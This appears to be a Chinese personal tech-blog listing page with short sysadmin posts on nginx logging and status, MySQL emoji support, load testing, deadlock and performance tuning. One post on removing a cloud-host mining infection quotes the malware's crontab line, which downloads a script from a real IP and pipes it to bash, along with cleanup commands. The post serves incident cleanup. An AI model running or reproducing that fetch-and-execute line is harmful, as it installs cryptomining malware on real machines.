https://grafana.com/dashboards/2292
log_format main '{"@timestamp":"$time_iso8601",'
'"@source":"$server_addr",'
'"hostname":"$hostname",'
'"ip":"$http_x_forwarded_for",'
'"client":"$remote_addr",'
'"request_method":"$request_method",'
'"scheme":"$scheme",'
'"domain":"$server_name",'
'"referer":"$http_referer",'
'"request":"$request_uri",'
'"args":"$args",'
'"size":$body_bytes_sent,'
'"status": $status,'
'"responsetime":$request_time,'
'"upstreamtime":"$upstream_response_time",'
'"upstreamaddr":"$upstream_addr",'
'"http_user_agent":"$http_user_agent",'
'"https":"$https"'
'}';
nginx access log format
2018-10-17 by Jinyang | No Comments | Filed in 技术相关nginx status
2018-10-17 by Jinyang | No Comments | Filed in 技术相关查看nginx安装的把目录
whereis nginx
nginx: /usr/sbin/nginx
查看nginx的版本已经已安装的插件
/usr/sbin/nginx -V
nginx version: nginx/1.14.0
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled
configure arguments: –prefix=/etc/nginx –sbin-path=/usr/sbin/nginx –modules-path=/usr/lib64/nginx/modules –conf-path=/etc/nginx/nginx.conf –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –pid-path=/var/run/nginx.pid –lock-path=/var/run/nginx.lock –http-client-body-temp-path=/var/cache/nginx/client_temp –http-proxy-temp-path=/var/cache/nginx/proxy_temp –http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp –http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp –http-scgi-temp-path=/var/cache/nginx/scgi_temp –user=nginx –group=nginx –with-compat –with-file-aio –with-threads –with-http_addition_module –with-http_auth_request_module –with-http_dav_module –with-http_flv_module –with-http_gunzip_module –with-http_gzip_static_module –with-http_mp4_module –with-http_random_index_module –with-http_realip_module –with-http_secure_link_module –with-http_slice_module –with-http_ssl_module –with-http_stub_status_module –with-http_sub_module –with-http_v2_module –with-mail –with-mail_ssl_module –with-stream –with-stream_realip_module –with-stream_ssl_module –with-stream_ssl_preread_module –with-cc-opt=’-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong –param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -fPIC’ –with-ld-opt=’-Wl,-z,relro -Wl,-z,now -pie’
修改nginx配置 启用stub_status
location /nginx-status {
allow 127.0.0.1;
deny all;
stub_status on;
access_log off;
}
查看nginx-status
curl 127.0.0.1/nginx-status
Active connections: 51
server accepts handled requests
752 752 2909
Reading: 0 Writing: 1 Waiting: 50
这个是最简单、笨拙的方法,没有实现图形化。
Bid history for nuanku.com
2018-10-16 by Jinyang | No Comments | Filed in 技术相关云主机的挖矿病毒 sustes
2018-10-05 by Jinyang | No Comments | Filed in 技术相关ps aux
ps aux|grep wget|awk ‘{print $2}’|xargs kill -9
crontab -u www-data -l
crontab -e -u www-data
#* * * * * wget -q -O – http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1
cd /var/tmp
rm -rf *
java https 请求
2018-09-16 by Jinyang | No Comments | Filed in Otherecho |openssl s_client -connect ***.****.com:443 2>&1 |sed -ne ‘/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p’
配置mysql参数使数据库表字段支持存储表情符号
2018-09-15 by Jinyang | 2 Comments | Filed in Other看了下基本这篇写的已经够完整了,虽然不是安装这篇做的,也还是不重复写了。-> : http://blog.51cto.com/312461613/1718999
1 解决方案:将Mysql的编码从utf8转换成utf8mb4。
需要 >= MySQL 5.5.3版本、从库也必须是5.5的了、低版本不支持这个字符集、复制报错
2 my.cnf 文件添加
[mysqld]
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci
init_connect=’SET NAMES utf8mb4′
3修改需要添加库 表 字段的字符集
修改数据库字符集:
ALTER DATABASE database_name CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci;
修改表的字符集:
ALTER TABLE table_name CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
修改字段的字符集:
ALTER TABLE table_name CHANGE column_name column_name VARCHAR(191) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
如果只是某个字段需要 只需要修改那个字段的字符集就可以了
4 如果修改以上都不行请查询sql
mysql> show variables like ‘%sql_mode%’;
+—————+——————————————–+
| Variable_name | Value |
+—————+——————————————–+
| sql_mode | STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION |
+—————+——————————————–+
1 row in set (0.00 sec)
如果是以上结果恭喜你是存储不了的
去设置这个sql_mod 模式(注意这里修改看之后要退出控制台要不然还是看不到效果的,而
且这个配置写my.cnf 重启服务器是不生效的,如果要问为什么请去mysql顾问群)
mysql> set global sql_mode = ‘NO_ENGINE_SUBSTITUTION’;
mysql> show variables like ‘%sql_mode%’;
+—————+————————+
| Variable_name | Value |
+—————+————————+
| sql_mode | NO_ENGINE_SUBSTITUTION |
+—————+————————+
1 row in set (0.00 sec)
6 做完这些就完成了
windows平台的web压力测试小工具
2018-09-06 by Jinyang | No Comments | Filed in 技术相关http_load -p 10 -s 60 -r 3 -f 100 c:\urls.txt
参数的含义:
-parallel 简写-p :并发的用户进程数
-fetches 简写-f :总计的访问请求次数
-rate 简写-r :每秒的访问频率
-seconds简写-s :总计的访问时间
准备URL文件:urls.txt,文件格式是每行一个URL
排除DeadlockLoserDataAccessException异常
2018-09-05 by Jinyang | No Comments | Filed in 技术相关某高并发场景的应用使用数据库的insert select 方式做了业务的逻辑判断限制,以实现预期的数据控制(不超出业务允许的范围),实际使用中的确是不会出现绕过业务规则的业务发生,但是正常的请求因为并发锁表导致相互等待 死锁 使得业务无法正常进行。
1. 分析sql语句 使所有sql子查询语句都走唯一索引、索引等 不要全表扫描导致产生表级别的锁
执行explain sql语句 ,把ALL类型的全表扫描的执行sql都优化成走索引执行
2. 降低事务等级为 ISOLATION_READ_COMMITTED ,缩小事务 及时commit
READ_COMMITTED 不会锁表,是Oracle的默认事务等级,MySql默认使用的REPEATABLE READ ,READ UNCOMMITTED更快 更不易锁表。
3. 分解service impl中的方法中作为整体事务的容易出错的代码,单独进行异常的捕获,防止其出现IP错误等导致数据库回滚
4. 其他业务语句涉及到同一张表的 要使用索引 避免全表扫描的update 。
小计一次调优
2018-08-20 by Jinyang | 1 Comment | Filed in 技术相关系统的ulimit 参数调整
Nginx的open file参数调整: worker_rlimit_nofile (理论上的最大并发连接: max_clients = worker_processes * worker_connections)
多节点 IPHASH 权重
Jboss sessionid生成机制和Redis键值冲突的bug修复
Jboss 内存扩大
Jboss 并发数提高
业务(程序)并发点从数据库迁移至redis
使用redis的原子计数器来实现一个高效、高并发安全的计数策略(类似数据库的sequence)
共享存储,从无到SAN再到NAS
SAN存在并发读写时存在异常的问题,会引发web容器启动时文件扫描错误(直接把静态的、需要共享的文件夹从war代码包里剥离出去是一个更好的办法,让jboss启动的更快)
NAS需要在NAS管理端界面配置好客户端的访问IP才可以正常挂载
全部静态文件移交给Nginx
把所有静态文件目录的解析全部直接由nginx完成,程序在初期就规划好所有的静态文件在一个static目录下
Nginx 5** 错误页面定制
error_page 500 502 503 504 /500.html;
location = /500.html {
root /文件目录;
internal;
}为了降低服务器压力,错误页面使用的图片直接用了新浪微博的图床。
结论:
应该支持上万人的秒杀不会卡顿了,实际观察后再补充。